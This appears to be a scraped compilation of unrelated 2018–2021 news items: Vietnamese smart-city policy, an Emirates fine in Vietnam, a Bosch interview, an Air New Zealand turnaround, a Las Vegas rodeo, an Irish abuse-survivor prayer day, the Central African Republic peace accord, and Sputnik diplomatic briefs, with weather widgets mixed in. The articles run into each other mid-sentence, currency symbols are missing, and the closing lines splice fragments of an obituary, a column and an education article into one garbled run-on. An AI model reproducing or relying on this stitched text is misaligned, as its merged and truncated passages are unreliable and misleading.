The best package was designed by Scotlands biggest city of Glasgow, which won a further 24 million ($30.83 million) to become a demonstration future city. Future Cities Catapult collaborates with and matches industry, cities and government, and academia to define, create, test, and sell products and services for cities. Considered as an advanced service sector which is already worth 5 billion ($6.42 billion), they are working to position the UK as a leader in this emerging global market.

Sustainable smart city initiative in Vietnam

Vietnams cities are facing a number of challenges in the due course of rapid development. That could be broadly grouped into two major types of internal and external challenges. The context of 4.0 city governance has changed the strategic relationship between city administrators and its inhabitants from service provider in the early days to become a development partnership in the present day.

To take in the advantages of smart city approaches, the National Scheme for Sustainable Smart City Development in Vietnam to 2025 and vision to 2030 was approved by the prime minister in August 2018. Promotion of sustainable smart cities would bring about a promising new area of business.

First of all, there is the issue of building up a database for the city. Hardware and software solutions would be needed to tackle the diversify urbanisation scenarios throughout the country.

Second, digitalising the urban planning process would be another new challenging area. It calls for input and support to improve the reformation process of urban development forecast and planning. Monitoring of the implementation process would also be an essential part to reflect needs and voices of the communities.

Third, urban management and responding to the urban need in a timely manner could be a very large but unexplored area.

Last but not the least, immense facilities and amenities could be served out, either public or private, with unlimited geographical boundaries.

In order to implement that, the national scheme calls for 10 groups of tasks in which improving research potential, promoting innovation, and creating a strong link between research, academia and business are a central solution. The question here is how our city can be the most appropriate bed for innovation, and how can we make our city generate innovation better than any other?

The national scheme has also asked the Ministry of Science and Technology to develop the National Focus Research Programme for Smart Cities which could also provide much-needed resources for implementation of innovation and invention in the field.

The example of Future Cities Catapult clearly shows that it is essential to devise an appropriate executive body which is a combination of business, academia and researchers in order to promote innovation.Emirates was fined for lacking a non-refundable advance compensation policy

The results of the CAAVs recent inspection of Emirates operation in Vietnam uncovered several shortcomings and faults in the companys operation and provision of air services in Vietnam.

The penalty was issued by the CAAV over charges of EKs unpublished non-refundable advance compensation policy, which it found to be a breach of conduct under the local law. Accordingly, Emirates does not apply such a policy, thus its website and booking agencies do not have this information available for the public, while Article 4(3) of Circular No.14/2015/TT-BGTVT explicitly requires air transport companies to have such a policy and make information about it readily available to the public.

As reported by the CAAV, since January 1, 2017 until now, EK had 33 flights delayed for less than two hours and one cancelled flight in Ho Chi Minh City, while it had 23 delayed flights (including three that were delayed for more than three hours, and one for four hours) in Hanoi.

An inspection of the delayed and cancelled flights showed that flight EF393 (403 passengers, scheduled to depart at 11.55PM on July 18, 2018) was cancelled for technical reasons. The airline announced the cancellation to all passengers waiting to check in at the airport and served food and drink as well as arranged accommodation for guests that required it. However, Emirates then did not offer passengers the $150 non-refundable advance compensation as stipulated in Article 8 of Circular 14.

During the inspection, Emirates' reports have not met the inspectors requirements and the reports and other related documents requested were submitted with delays.

Especially, EKs booking office submitted its 2017 report late and did not send the CAAV its unscheduled report on changing foreign employees in accordance with Article 12 of Circular No.81/2014/TT-BGTVT issued on December 30, 2014 by the Vietnamese Ministry of Transport. The CAAVs chief inspector has written up another report and fined Emirates to VND15 million ($652) for this violation.

Emirates officially opened its booking office and set up business in Vietnam in 2012. Currently, it operates daily flights between Dubai and two Vietnamese destinations, Hanoi and Ho Chi Minh City.

In 2017, EK carried 124,646 passengers and 13,060 tonnes of goods to Ho Chi Minh City, and 81,864 passengers and 19,368 tonnes of goods to Hanoi. Only between January 1, 2018 and October 2018, there were a total of 107,857 passengers and 10,911 tonnes of goods flying with EK to Ho Chi Minh City, while there were 85,323 passengers and 16,313 tonnes of goods transported on the Hanoi route.

Based on European Commission (EC) Regulation 261/2004 on compensation and assistance to passengers in the event on delayed boarding and of cancellation or long delay of flights, in case your Emirates flight is delayed for more than three hours on arrival or is cancelled at an EU airport, you are entitled to a compensation of up to 600 ($679) from the airline.Guru Mallikarjuna, managing director of Bosch Vietnam

Industry 4.0 is firing the imagination of the economy. What importance do you place on this vision of the future, in general and for Bosch in particular?

In my opinion, Industry 4.0 is more than just a vision of the future. Linking physical objects with the virtual world using state-of-the-art technologies is already giving rise to new business models. To give you a sense of how important this topic is for Bosch specifically: we have set ourselves the goal of achieving cost savings and efficiency improvements in the Asia Pacific region of 1 billion internally by 2020 through Industry 4.0 solutions alone.

How do Industry 4.0 solutions affect the operation of companies?

Bosch already has all the relevant enablers for Industry 4.0 in its portfolio and offers a wide range of hardware and software solutions. It also provides support services to customers during the development, industrialisation and manufacturing phases of their electronic products. Especially, entirely new products also can be applied to existing systems. One example is the upgrading of old industrial machinery with the help of the Internet of Things (IoT) gateway programme from Bosch, which allows even the oldest model to be catapulted into Industry 4.0. This retrofit solution, which consists of sensor technology, software and IoT-capable industrial control, takes the benefits of connected industry to operators of older production facilities, enabling them to monitor their machines in real time and thus optimise them. This permits things such as predictive maintenance and reducing downtime while increasing productivity. Projects of this kind can be implemented on site within a matter of weeks. With the above solutions, customers further benefit from smoothly synchronised co-creation partnerships, where Bosch Connected Devices and Solutions works closely with the customer, responding quickly to individual requests to deliver rapid prototyping capability and reduce time to market.

What will the new business models look like?

In the foreseeable future, only the walls, the floor and the ceiling in factories will be unchangeable. It will be possible to configure all machines and systems quickly to create new lines and production as a whole will take place not only in the real world but also in the virtual world with digital twins providing an absolutely realistic copy and demonstrating behaviour long before the hardware is ever used.

Production resources will communicate with each other across levels  wirelessly via the new 5G mobile communications standard and in real time. This will result in new business models for machine manufacturers and automators. Industrial end-users will invest less and less capital in machines. Instead, they will pay operators to carry out process steps, lease machines temporarily or purchase system availability as a service.

Is Bosch Vietnam ready to offer 4.0 solutions?

Building on the Bosch Groups expertise in sensor technology, software, and services, Bosch in Vietnam can offer customers interconnected cross-domain solutions for smart campuses, smart cities, and Industry 4.0.

We are one of the largest European investors, consistently increasing activities in the four fields of research and development (R&D), manufacturing, sales, and services. For some years now, we have steadily expanded our software and engineering expertise and capacity in the areas of connectivity, in order to offer more user centric solutions for the Vietnamese market.

Moving forward, we strive to make Ho Chi Minh City one of the key IoT solutions hubs for Bosch in the Southeast Asian region through our Bosch Software and Engineering R&D Center. To support this initiative, an initial investment of over $450,000 (roughly 400,000) was made to set up a new laboratory for smart city and Industry 4.0 solutions at the Bosch Software and Engineering R&D Center in Ho Chi Minh City. Around 30 associates are currently working on various Connected Industry solutions.

Along with developing innovative solutions for industry and trade, Bosch also focuses on investing in human resources.The captain informed passengers mid-flight the plane was not allowed to land in China and would have to turn back AFP/Daniel SLIM

Flight NZ289 carrying about 270 passengers left Auckland shortly before midnight on Saturday only to return about 10am on Sunday.

Passengers said the captain informed them mid-flight the Air New Zealand plane was not allowed to land in China and would have to go back.

"Midway through our flight, the pilot informs us that Chinese authorities had not given this plane permission to land, so we needed to turn around. A permitting issue, supposedly," one passenger, Eric Hundman, told the New Zealand Herald.

"I would be stunned if Air NZ had allowed a plane full of passengers to take off without being quite sure they would be able to land it in Shanghai," the assistant professor at New York University Shanghai added.

The airline said in a statement that "a technicality meant the particular aircraft operating this service did not have Chinese regulatory authority to land in China".

After returning to Auckland, the airline texted passengers to say the flight had been rescheduled and would depart Sunday night.

China's foreign ministry did not make any immediate comment when contacted by Reuters. Calls to the civil aviation administration were not answered.

Air New Zealand apologised to passengers and said a special service would fly them to Shanghai at 11pm on Sunday.

"We know customers will be deeply disappointed and frustrated by this situation and we are very sorry for the disruption to their travel plans," Air New Zealand said.

Disgruntled passengers voiced their disapproval on social media. One posted a picture on Twitter of the onboard flight map showing the aircraft turning around over Papua New Guinea.

The same flight, NZ289, was turned back on a flight to China on Aug 24 last year, although an airline spokeswoman said that was due to an engineering issue, not a permitting one.Support local journalism

Now, more than ever, the world needs trustworthy reportingbut good journalism isnt free. Please support us by making a contribution.

Las Vegas Days (formerly known as Helldorado Days), an annual cowboy-themed event celebrating Las Vegas tribute to the Wild West, will offer two nights of rodeo at the all-new Core Arena Friday-Saturday, May 10-11, as well as the annual Helldorado Parade May 11. The Commission for the Las Vegas Centennial is sponsoring the rodeo, along with The Plaza Hotel & Casino.

Las Vegas Helldorado Days were a long-held tradition, and we are excited to welcome the rodeo back home to downtown Las Vegas this year, said Jonathan Jossel, CEO of the Plaza Hotel & Casino. We are proud of our history and now with the Plazas Core Arena, we can pay homage to our western roots while offering an unforgettable experience for todays residents and visitors. We appreciate the support of the Commission for the Las Vegas Centennial and look forward to working with the city of Las Vegas on creating an exciting rodeo event that brings our community together where Las Vegas got its start  downtown Las Vegas.

The rodeo will feature seven events: bull riding, barrel racing, team roping, tie-down roping, steer wrestling, saddle bronc riding and bareback riding. Professional Rodeo Cowboys Association sanctioning of the rodeo is pending. Admission to the rodeo May 10-11 will be free; more details will be available at https://www.plazahotelcasino. com/entertainment/core-arena/.

All community members are invited to submit entries in the Helldorado Parade at no charge  schools, local businesses, car clubs, equestrian groups, civic groups, nonprofits and more. The 2019 Helldorado Parade is scheduled for 10 a.m. Saturday, May 11, downtown on Fourth Street from Gass to Stewart avenues. An independent panel of judges will decide on the award winners for the best entry, most creative, best theme, best float, best equestrian entry, best car club or motorized vehicle, and best walking group.

The theme of entries should reflect our western heritage; the birthday of the city of Las Vegas; Vegas, then and now; and/or the traditions of Helldorado Days. Submit your application to participate online no later than April 19, 2019. You can also apply and view full application packet information at www.lasvegasnevada.gov/ Helldorado.Candles of Atonement to be lit in Cathedrals and parishes in Ireland to mark the Day of Prayer for Victims and Survivors of abuse

By Lydia OKane

Just a week before senior bishops and major religious superiors gather with Pope Francis in Rome to discuss child safeguarding throughout the universal Church, the Bishops of Ireland are asking people to remember and pray for all those who carry with them life long suffering as a result of abuse.

February 15th is the annual Day of Prayer for Survivors and Victims of Sexual Abuse and this year Candles of Atonement will be lit in Cathedrals and Parishes throughout Ireland.



The Candles, which were recently blessed by the Bishops during a retreat at Knock Shrine in the west of the country, are a symbol of repentance, hope and light in the darkness, says the Archbishop of Armagh, Eamon Martin who will travel to Rome for the upcoming protection of minors meeting.



The Primate of All Ireland also explains that, in lighting these candles we will bring to mind our brothers and sisters, and their families who have been left with a lifelong suffering as a result of abuse, whose trust was so deeply betrayed and whose faith has been so cruelly tested within the sanctity of the Church by perpetrators of abuse.



The accompanying prayer was written by an abuse survivor and the Archbishop of Armagh expresses the hope that, the Candle of Atonement and accompanying prayer are offered as a reminder to all of the need for us to atone, to ask forgiveness as a Church for the suffering caused by abuse.

Please find below the Candle of Atonement Prayer

Lord, forgive us our many sins.

We grieve and repent with all our hearts for having offended you, for our great failings and neglect of the young and vulnerable.

We place all of those who have been hurt by the Church in any way into your loving hands and under the protection of Our Blessed Mother.

Lord, bring peace to their broken lives and show us all the way out of darkness and into the light of your Word.

May we as the people of God be more fully human, more fully Christ-like and more fully your people, that we may see the errors of the past and go forward with renewed hope and faith in Christ and in our Church.

Amen.

The Government of the Central African Republic (CAR) on Wednesday 6 February signed a peace accord in the capital Bangui with the countrys 14 armed groups.

Paul Samasumo - Vatican City

The peace accord dubbed the Khartoum agreement is officially titled the Political Accord for Peace and Reconciliation. The peace deal was first initialled in Khartoum, Sudan, on Tuesday, 5 February.

Over the weekend, details of the peace accord emerged brightening peace prospects in CAR notwithstanding that this is the eighth agreement since the fighting began in 2013. Analysts say what is different this time is that the deal is the result of lengthy and direct dialogue between the government in CAR and rebel groups. The talks were brokered by the African Union (AU) and supported by the United Nations (UN). Chad, Congo, Gabon, Angola, Cameroon, France, Britain, Russia and the United States are also said to have contributed, in some way, to the peace initiative.

Reporting on some of the key details of the peace agreement, AP notes that these include the dissolution of armed groups, the formation of an inclusive government and the creation of a fund for victims who have suffered in years of conflict.

Armed groups pledge to stop attacks

Crucially for CARs citizens will be the fact that the armed groups have agreed to refrain from any act of destruction, the occupation of public buildings, places of worship and violence against the civilian population, as well as acts of sexual or gender-based violence. The armed groups have further pledged not to use arms and violence against the defence and security forces, U.N. personnel and humanitarian workers.

Yet another critical point is that the government will set up a Truth, Justice, Reparation and Reconciliation Commission within 90 days. This cuts short the idea of amnesty long negotiated by armed group leaders.

The hard work towards peace begins now

With rekindled hopes for an end to the bloody conflict comes a sense of realism about the hard work ahead.

AP quotes Herbert Gontran Djono Ahaba, speaking in Khartoum, on behalf of the rebels as saying, "The difficult time starts now, and that is implementing the Khartoum Agreement ... This agreement is crucial for peace," he said. CARs President Faustin Archange Touadera is said to have said to the representatives of armed groups, "Lets go back together in Bangui to build our country together." He added, "We do not have the right to disappoint."

The African Union (AU) Commission Chair Moussa Faki Mahamat commended the Central African Republic stakeholders for the agreement. He also commended Sudanese authorities for their role in the peace deal as well as the African Union Peace and Security Commissioner, Smail Chergui, and his team for their diligence in accompanying the process.

A complex and bloody conflict

The territory of the Central African Republic, though considered among the poorest countries in the world is rich in diamonds, gold and uranium. For years, armed groups have retained control over 80% of the countrys mineral-rich areas. Mining profits and collections extorted from local traders enabled armed groups to perpetuate the conflict.

Latest statistics indicate that CAR, a landlocked nation, has a population of 5.2 million. It is a population that has paid dearly as a result of the bloody war. Rebel groups often target civilians, schools and religious buildings. They have also looted health centres.

The conflict which started in 2013 is a complicated interreligious, intercommunal fighting coupled with a power struggle over control of the countrys abundant mineral wealth. Foreign governments, private military firms, foreign fighters further add to an already difficult situation. Thousands of people, mostly civilians, have been killed and hundreds of thousands displaced.

The Alindao massacre

Ironically, some observers, in part, credit the 15 November 2018 terrorist attack as giving impetus to the international community to redouble efforts that have led to the latest peace deal.

On the fateful day, one of CARs rebel groups known as Union pour la Paix en Centrafrique (UPC) led other allied groups in carrying out a deadly attack on the Cathedral of the Sacred Heart in the Diocese of Alindao. The rebels overran and burnt down a refugee camp situated next to the Cathedral. Between 80 to more than 100 persons are said to have died, some burnt alive, in the horrific attack. The Cathedral lost its roof, and the terrorists ransacked and stole mission property.

CARs Church leaders and the London-based Amnesty International have called for an investigation into why the Mauritanian-led Minusca forces failed to protect civilians. Minusca contends they were badly outnumbered by the rebels in Alindao. The Mauritanians in Alindao since May 2018 have now been reinforced by a contingent of Rwandan and Burundian troops.

Nevertheless, it is generally appreciated that the United Nations Minusca peacekeeping force, in spite of the many challenges, has saved countless lives.

Pope Francis has long stood by the people of CAR

Pope Francis on November 18, 2018, expressed his pain, closeness and love for the victims of the Alindao massacre. His comments were made after he prayed the Sunday noon Angelus with an audience estimated at 30,000 in St. Peter Square.

On a visit to Pope Francis in 2016, CARs President Touadera said in a Radio Vatican interview that he had come to thank Pope Francis, personally and on behalf of all the people of the Central African Republic for visiting his country to promote peace in 2015.

I came to say thank you to Pope Francis for the great and courageous honour he accorded us by visiting CAR. He visited us during a tough period. The Pope gave us hope for peace. The significant and historical gesture of opening the Holy Door of Mercy in Bangui is something that we will never forget. He not only officially opened the Holy Door of Mercy; he also opened, as it were, the door to a new era in our country, President Touadera told the Africa Service of Radio Vatican.

Pope Francis' visit to CAR

Defying security concerns from some Western countries, Pope Francis made an unprecedented visit to CAR in November 2015.

In a gesture aimed at encouraging peace and reconciliation, the Pope even travelled in an open popemobile right into the Muslim neighbourhood of Bangui known as PK5. The Muslim community and the Imam of PK5 enthusiastically welcomed him.

Taking off his shoes at the entrance of the Koudoukou Mosque, Pope Francis told his audience in the Mosque that Christians and Muslims are brothers and sisters.

It is not far-fetched to say that Pope Francis visit left a lasting impression on CAR. At the time of the Popes visit to CAR, a staff member then at Banguis Palace of Renaissance, Tychique Nzouketia Reggy Reo-Olar told Paul Samasumo of Vatican Radios Africa Service that notwithstanding outbursts of violence in CAR, Pope Francis visit had a profound effect on the people of his country

Every politician, every Christian, every Muslim, believer in traditional religions, and mere citizens -all continue to quote Pope Francis' statements (on peace and co-existence) in their speeches, Reo-Olar said.

The challenge of rebuilding peace in CAR

In signing the peace truce, last weekend, CARs President, Touadera is following up on his 2016 election pledge to push for a settlement with rebels.

In April 2016, Touadera told Vatican Radio that the highest priority for his administration was to work for peace and the reconciliation of the whole country. He said peace and reconciliation, in his country, needed to go hand in hand with Disarmament, Demobilisation and the Reintegration of some of the armed groups into one national and neutral defence force.

Another key sector that will need urgent consideration is the education sector. Education has been one of the casualties of the conflict. Many of CARs children are not able to attend school because of the fighting.

The country is in dire need of more teachers, training, formation and capacity building. We need to rebuild the infrastructure that has been destroyed, Touadera told Radio Vatican. He was referring to the education sector,

Then there is what to do with the armed group of the Lords Resistance Army (LRA)? The LRA is a terrorist militia group of Ugandan origin with its brutal leader hiding and causing havoc in parts of rural CAR. As said earlier, there are also private military firms and foreign fighters with nothing to gain from the new peace arrangement.

On his 2016 Rome visit, President Touadera also held talks with Food and Agriculture Organisation (FAO) Director-General Jose Graziano da Silva. The discussions focused on rebuilding the country's agriculture sector and making it an engine for peace and sustainable development.

A joint FAO/WFP Update for the United Nations Security Council January 2019 says some 1.9 million people are experiencing severe food deficits in CAR. According to the Update, armed conflict remained the major driver of the alarming food situation because both host communities and displaced people had lost access to their livelihoods and insecurity undermined the consistent delivery of humanitarian assistance.

There is much riding on this new peace agreement in CAR. Everyone hopes it will last and herald a new era, touch wood.Thank you for reading!

Please log in, or sign up for a new account and purchase a subscription to continue reading.Valdosta, GA (31601)

Today

Thunderstorms likely. High near 80F. Winds E at 10 to 15 mph. Chance of rain 90%..

Tonight

Some passing clouds. A stray shower or thunderstorm is possible. Low 67F. Winds ENE at 5 to 10 mph.Swedish Foreign Minister Margot Wallstrom stressed the need to continue disarmament talks amid increasing global nuclear threat and suggested holding such negotiations in Sweden

STOCKHOLM (UrduPoint News / Sputnik - 13th February, 2019) Swedish Foreign Minister Margot Wallstrom stressed the need to continue disarmament talks amid increasing global nuclear threat and suggested holding such negotiations in Sweden.

In her interview for Swedish daily newspaper Dagens Nyheter, Wallstrom voiced concerns over Washington's and Moscow's suspension of participation in the Intermediate-Range Nuclear Forces (INF) Treaty.

"Our mechanisms for control and problem solving have weakened ... We would like to hold talks in Sweden, while the first meeting will be held in Germany in spring. We see big interest, and this raises hope," Wallstrom said, voicing the belief that not only those countries that have nuclear weapons should participate in disarmament talks.

The minister added that she had no concerns over Russia's alleged military threat.

"We see no significant threat of intervention," she specified.

However, there are some "more efficient ways to intervene," Wallstrom added, stressing that she did not rule out that Russia could interfere in the operation of the Swedish national electricity grid.

Her comment came just several days after the head of Svenska Kraftnat, Swedish state-owned power grid operator, was fired over alleged security breaches.

An arms control conference will be held in the German capital of Berlin in March. It was initiated in the wake of deteriorating situation around the INF Treaty.

In early February, the United States said it was suspending its obligations under the INF Treaty and would start the withdrawal process, which would be completed within six months unless Moscow remedied its alleged violations of the bilateral arms control deal. Russian President Vladimir Putin announced promptly that Moscow also suspended its obligations under the treaty in response to the US move.(@ChaudhryMAli88)

Russia welcomes the development of bilateral cooperation between Moscow and Maseru, in particular the interaction of security services, Russian Foreign Minister Sergey Lavrov said on Wednesday

MOSCOW (UrduPoint News / Sputnik - 13th February, 2019) Russia welcomes the development of bilateral cooperation between Moscow and Maseru , in particular the interaction of security services, Russian Foreign Minister Sergey Lavrov said on Wednesday.

"Contacts between lawmakers are developing. We would like them to become regular. Mutually beneficial working contacts between security services are also evolving," Lavrov said at the meeting with his counterpart from Lesotho, Lesego Makgothi.

Moscow intends to boost dialogue with Maseru in matters pertaining to international politics, considering Lesotho's active membership in African organizations, in particular the Southern African Development Community (SADC), Lavrov added.

Makgothi also expressed Lesotho's intentions for strengthening bilateral cooperation with Russia, particularly in investment and security.

In November, Lesotho celebrated the successful completion of the SADC's Preventative Mission in the Kingdom of Lesotho (SAPMIL), which was launched by the African Community in an effort to secure peace after an attempted coup on Lesotho Prime Minister Thomas Thabane created a power vacuum in the country.Foreign Minister of Lesotho Lesego Makgothi said Wednesday that he discussed the construction of a hydroelectric power station in the African country with Russian Foreign Minister Sergey Lavrov

SOCHI (UrduPoint News / Sputnik - 13th February, 2019) Foreign Minister of Lesotho Lesego Makgothi said Wednesday that he discussed the construction of a hydroelectric power station in the African country with Russian Foreign Minister Sergey Lavrov.

"There is a large amount of water in our country. We talked about building a hydroelectric power station, so that we can produce electricity and export it to South Africa.

This is an important resource that South Africa lacks. Therefore, the development of economy together with Russia will allow us to open the door to other export items, which is exactly what we discussed today with [Lavrov]," Makgothi told a briefing.

Lesotho and South Africa are now jointly working on the water supply project with a hydropower component - the Lesotho Highlands Water Project. It includes several large dams and tunnels built in Lesotho, which help to deliver water to South Africa.The East African Community (EAC) should convene an extraordinary summit to try to resolve crisis in relations between Burundi and Rwanda, otherwise the protracted row between the two member nations will prevent the whole organization from moving on with its economic integration goals, Burundian Ambassador to Russia Edouard Bizimana told Sputnik

MOSCOW (UrduPoint News / Sputnik - 13th February, 2019) The East African Community (EAC) should convene an extraordinary summit to try to resolve crisis in relations between Burundi and Rwanda , otherwise the protracted row between the two member nations will prevent the whole organization from moving on with its economic integration goals, Burundian Ambassador to Russia Edouard Bizimana told Sputnik.

In December, Burundian President Pierre Nkurunziza urged the EAC leadership to convene an extraordinary summit to address the differences between Burundi and Rwanda, whose relations have deteriorated since 2015. According to Rwanda, the 2015 re-election of Nkurunziza and failed coup in the neighboring country have resulted in the influx of refugees. The situation is also exacerbated by mutual trade restrictions and frequent deadly border incidents, which take roots in years-long territorial disputes and ethnic conflicts.

"Without this summit, without discussing these issues openly, I think the East African Community would have problems to move forward," Bizimana said in an interview.

The ambassador stressed that the summit would be "a kind of prerequisite" for the relations between the two countries to improve.

"Burundi and Rwanda are twin countries, I would say; neighbors which share a lot of things together in terms of geography, in terms of history. Burundi and Rwanda were both former colonies of Germany and then Belgium. We have the same population, we speak almost the same language and we share borders and we are part of the East African Community. So we are bound to live together," he said, expressing regret over Rwanda's "unfriendly" actions.

Rwanda, which is currently the EAC chair, is not interested in holding the summit at the moment, according to Bizimana.

He argued that the current lack of freedom of people movement between Rwanda and Burundi would also affect the implementation of the Continental Free Trade Area promoted by the African Union.

The EAC is one of integration projects on the African continent, which brings together Burundi, Kenya, Rwanda, South Sudan, Tanzania, and Uganda. In 2010, the community launched the common market and now plans to create a monetary union.(@ChaudhryMAli88)

Burundi regards its 2018 defense cooperation agreement with Russia as very important for the country in terms of capacity building for the African nation's servicemen and police force and believes that the accord will further strengthen bilateral ties, Burundi Ambassador to Russia Edouard Bizimana told Sputnik

MOSCOW (UrduPoint News / Sputnik - 13th February, 2019) Burundi regards its 2018 defense cooperation agreement with Russia as very important for the country in terms of capacity building for the African nation's servicemen and police force and believes that the accord will further strengthen bilateral ties, Burundi Ambassador to Russia Edouard Bizimana told Sputnik.

"Russia has always been instrumental to Burundi in terms of support. I mean capacity building for Burundi military, for Burundi police, so I think this agreement is coming to strengthen these already existing relations," Bizimana said, when asked how Burundi is looking to develop the military cooperation it has with Russia.

The diplomat also noted that the agreement would benefit both Moscow and Gitega.

Bizimana also recalled that since Burundi gained its independence back in 1962, Burundians have been trained in Russia, while Russia has been supporting Burundi.

Both states also have a common agenda in terms of fighting terrorism, he stressed.

Russia and Burundi signed the defense agreement during the Army 2018 defense expo in late August. The deal seeks to expand both countries' cooperation on peacekeeping operations and in the fight against terrorism. On the sidelines of the exposition, Burundi's Minister of Defense Emmanuel Ntahomvukiye also expressed the country's interest in purchasing Russian-made Pantsir-S1 medium-range surface-to-air missile systems.(@ChaudhryMAli88)

Burundi is ready to bring its peacekeeping operations in the Central African Republic (CAR) into conformity with the CAR peace deal if such assistance is needed and the African Union and the United Nations make the relevant decision, Burundi Ambassador to Russia Edouard Bizimana told Sputnik

MOSCOW (UrduPoint News / Sputnik - 13th February, 2019) Burundi is ready to bring its peacekeeping operations in the Central African Republic CAR ) into conformity with the car peace deal if such assistance is needed and the African Union and the United Nations make the relevant decision, Burundi Ambassador to Russia Edouard Bizimana told Sputnik.

Burundi has been participating in CAR peacekeeping efforts since 2014 as part of a multidimensional United Nations peacekeeping operation called MINUSCA. It is one of the top 10 troop contributing countries alongside Rwanda, Pakistan, Egypt, Bangladesh, Zambia, Cameroon, Morocco, Mauritania and Gabon.

"Well, this will depend on the decision of the African Union and the UN, of course, but Burundi is always ready to support.

Whenever they call on Burundi to provide troops, Burundi is always ready to send its people to help others," Bizimana said, asked whether Burundi planned to adjust its peacekeeping operations in the country after a CAR peace deal had recently been reached.

On February 5, CAR President Faustin-Archange Touadera and leaders of 14 armed groups initialed the peace agreement at talks in Khartoum. The following day, the deal was finalized and inked in the CAR capital of Bangui.

The Central African Republic has been suffering from a drawn-out conflict since a coup in 2013. Much of the fighting in recent years has been between Muslim-majority Seleka and Christian Anti-Balaka militias.Facebook has deleted a private account of Sputnik Latvia editor-in-chief Valentins Rozencovs after it broadcast a pro-Riga mayor rally.

RIGA (UrduPoint News / Sputnik - 14th February, 2019) Facebook has deleted a private account of Sputnik Latvia editor-in-chief Valentins Rozencovs after it broadcast a pro-Riga mayor rally.

"Facebook has recently opened a 150-member Riga office and is still hiring. It monitors what people in the Baltics post on the social network website. A staffer or someone who aspires to be one must have informed them about the broadcast from my account, causing it to be shut," he said.

The airing of last Saturday's massive rally in support of embattled Riga Mayor Nils Usakovs was watched and reposted by thousands of people. The leader of the popular leftist Harmony party survived a no-confidence vote this Monday, called by right-wing opposition over graft claims.

Rozencovs' account on Facebook was first purged in January when the California-based social networking giant removed over 500 pages and accounts linked to Russia, citing perceived attempts to manipulate people in the Baltics and elsewhere.

Sputnik global editor-in-chief Margarita Simonyan said the fact that Rozencovs' private page was targeted again after broadcasting a rally in support of Usakovs was no coincidence. The mayor of the Latvian capital is routinely described in Western media as being pro-Kremlin.(@ChaudhryMAli88)

A regular meeting of the Russian-Czech Intergovernmental Commission on Economic, Scientific and Technical Cooperation will be held in Prague on March 6, the head of the Russian Trade Representation in the Czech Republic told Sputnik

PRAGUE (UrduPoint News / Sputnik - 12th February, 2019) A regular meeting of the Russian-Czech Intergovernmental Commission on Economic, Scientific and Technical Cooperation will be held in Prague on March 6, the head of the Russian Trade Representation in the Czech Republic told Sputnik.

"At the meeting in Prague, the last year's results of cooperation between Russia and the Czech Republic will be traditionally summed up, and the prospects for further cooperation between the two countries in the field of economy, industry and trade will be outlined," Sergei Stupar said.

The meeting will be co-chaired by Russian Minister of Trade and Industry Denis Manturov and his Czech counterpart, Marta Novakova, according to the trade mission.

In 2018, the turnover between Russia and the Czech Republic increased by 15 percent year-on-year, reaching almost $10 billion, the head of the Russian Trade Representation noted.

The Russian-Czech Intergovernmental Commission for Economic, Industrial and Scientific Cooperation was established in 2005 in order to strengthen economic, industrial and scientific ties between the two countries.Burundi and Russia have already developed close political cooperation in the international arena, and are now putting their focus on economic cooperation and contacts between national businesses, the African country's ambassador in Moscow, Edouard Bizimana, told Sputnik

MOSCOW (UrduPoint News / Sputnik - 13th February, 2019) Burundi and Russia have already developed close political cooperation in the international arena, and are now putting their focus on economic cooperation and contacts between national businesses, the African country's ambassador in Moscow , Edouard Bizimana, told Sputnik.

"Russia and Burundi support each other in different spheres of cooperation, be it in the UN or in other international organizations ... I think now we are focusing on economic aspects because they have been neglected, I would say. But, we see that there are a lot of things to be done in this sector," Bizimana said.

As an example, he mentioned his country's regular participation in the St. Petersburg International Economic Forum (SPIEF), other economic and investment forums, as well as plans to attend the Russian Investment Forum in Sochi later in the week.

"From this participation we've been able to meet many investors from Russia and on the part from Burundi people came and made contacts so we now have coffee or tea from Burundi, which is already available in Russia and I think, you know, there are some Russian companies which are already active in Burundi. So it's really interesting to see how this aspect of economic cooperation is really becoming very, very dynamic," he explained.

Bizimana also mentioned education and student exchanges as a priority area, where active cooperation was being maintained.

One of the examples of Russian-Burundian economic cooperation is joint venture Tanganyika Gold, which started work at the Chimba open cast mine in the Cibitoke province in late 2017. The company then planned to produce 50 tonnes of gold ore per hour.Burundi hopes to sign a contract on the purchase of Russian-made Pantsir-S1 medium-range surface-to-air missile systems (NATO reporting name SA-22 Greyhound) in 2019, with the talks on the accord still underway, the African country's ambassador in Moscow, Edouard Bizimana, told Sputnik

MOSCOW (UrduPoint News / Sputnik - 13th February, 2019) Burundi hopes to sign a contract on the purchase of Russian-made Pantsir-S1 medium-range surface-to-air missile systems ( NATO reporting name SA-22 Greyhound) in 2019 , with the talks on the accord still underway, the African country's ambassador in Moscow , Edouard Bizimana, told Sputnik.

Burundian Defense Minister Emmanuel Ntahomvukiye declared the country's intention of purchasing Pantsir-S1 systems on the sidelines of the Army-2018 international defense forum in the Moscow Region in August.

"It's a long process, but it's still on track, and I think very soon these negotiations will end. Well, from the information I have, it should be this year," Bizimana said, when asked to suggest when the potential deal could be finalized.

He also stressed that the advanced missile system "will help us, will strengthen Burundi's security.

"

The ambassador noted that the country was interested in boosting security cooperation with Russia, adding that much also depended on Burundi's financial capacities.

"Yes, that [Pantsir-S1] one is part of it, but we are also interested in other sectors. You know, security is a broad sector; it has many components. And Burundi, I think, there are some aspects of security that it is very much interested in. I mean this also depends on the capacity of Burundi in terms of finance, but we are really determined to have this Russian technology in order to strengthen our security," Bizimana added.

Back in August, Burundi and Russia signed an agreement, within the framework of which both countries agreed to conduct knowledge sharing and continue to engage in and develop cooperation on peacekeeping efforts and on the fight against terrorism.Emporia, KS (66801)

Today

Windy...showers and thunderstorms during the morning hours, then skies turning partly cloudy during the afternoon. Hot. High 99F. Winds S at 20 to 30 mph. Chance of rain 90%..

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Partly cloudy this evening with more clouds for overnight. A stray severe thunderstorm is possible. Low 77F. Winds S at 15 to 25 mph.Memorial services will be held at Northridge Christian Church in The Link at 2 p.m. June 25, 2021. Lt. Col. Leeder was a native of Connellsville, Pa. and had made his home in Milledgeville for the past 25 years. He was predeceased by his parents, Laird Glenn Leeder Sr. and Hazel Mae Brooks LFINALLY, a fine summer, which we Minnesotans appreciate, having endured winters attempts to depress us, and just when we were about to go into therapy and talk about how emotionally unavailable our dad was, summer came along and here I am on a sunny day with relatives on a porch enjoying a Austin Beutner has been an investment banker, first deputy mayor of Los Angeles, and publisher and chief executive of the Los Angeles Times. But none of those jobs were tougher than the position he is soon leaving after the grueling COVID-19 year: superintendent of the Los Angeles Unified ScWashington, MO (63090)

